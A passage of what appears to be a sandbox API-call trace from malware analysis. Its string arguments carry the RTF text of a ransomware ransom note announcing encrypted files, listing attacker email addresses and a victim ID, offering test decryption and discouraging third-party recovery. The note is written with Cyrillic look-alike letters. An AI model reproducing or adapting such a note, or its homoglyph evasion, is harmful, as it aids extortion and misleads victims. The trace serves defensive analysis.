\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.913] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 